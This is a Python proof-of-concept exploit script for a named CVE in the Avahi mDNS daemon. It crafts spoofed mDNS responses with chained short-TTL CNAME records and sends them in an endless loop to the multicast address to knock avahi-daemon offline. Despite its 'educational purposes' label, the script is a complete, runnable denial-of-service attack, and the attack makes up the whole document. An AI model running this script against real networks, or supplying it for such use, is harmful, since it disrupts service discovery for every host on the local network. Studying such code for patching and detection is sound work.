#!/usr/bin/env python3
"""
CVE-2025-68468 PoC - Avahi avahi-daemon DoS via CNAME records with short TTL
Note: This is a conceptual PoC for educational purposes only.
"""
import socket
import struct
import time
def create_mdns_header(transaction_id, flags, questions, answers, authority, additional):
"""Create MDNS header"""
header = struct.pack('>HHHHHH',
transaction_id, # Transaction ID
flags, # Flags
questions, # Questions
answers, # Answer RRs
authority, # Authority RRs
additional) # Additional RRs
return header
def create_cname_record(name, ttl, rdlength, rdata):
"""Create CNAME record"""
record = b''
record += create_dns_name(name)
record += struct.pack('>HHIH', # Type, Class, TTL, RDLENGTH
5, # CNAME type
1, # IN class
ttl, # TTL (use short TTL to trigger bug)
rdlength) # RDLENGTH
record += rdata
return record
def create_dns_name(name):
"""Create DNS name in label format"""
labels = name.split('.')
result = b''
for label in labels:
result += bytes([len(label)]) + label.encode()
result += b'\x00' # Null terminator
return result
def exploit_avahi_dos(target_ip='224.0.0.251', target_port=5353):
"""
Send malicious mDNS packet with CNAME records pointing to short TTL records
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
# Create malicious mDNS packet with CNAME records
transaction_id = 0x0000
flags = 0x8400 # Response, Authoritative
# CNAME record pointing to another record with short TTL
cname_target = create_dns_name('target.example.local')
final_target = create_dns_name('expired.example.local')
# Create CNAME record with very short TTL (1 second)
cname_record = create_cname_record(
'cname.example.local',
ttl=1, # Short TTL - key to trigger the vulnerability
rdlength=len(cname_target),
rdata=cname_target
)
# Create the target record also with short TTL
target_record = create_cname_record(
'target.example.local',
ttl=1, # Short TTL
rdlength=len(final_target),
rdata=final_target
)
# Build complete packet
packet = create_mdns_header(transaction_id, flags, 0, 2, 0, 0)
packet += cname_record
packet += target_record
print(f"[*] Sending malicious mDNS packet to {target_ip}:{target_port}")
print(f"[*] CNAME records with 1 second TTL to trigger DoS...")
try:
sock.sendto(packet, (target_ip, target_port))
print("[+] Packet sent successfully")
# Continue sending to maintain DoS condition
while True:
time.sleep(0.5)
sock.sendto(packet, (target_ip, target_port))
print("[*] Reinforcing attack...")
except KeyboardInterrupt:
print("\n[!] Attack stopped by user")
finally:
sock.close()
if __name__ == '__main__':
print("CVE-2025-68468 PoC - Avahi DoS via CNAME with Short TTL")
print("=" * 60)
exploit_avahi_dos()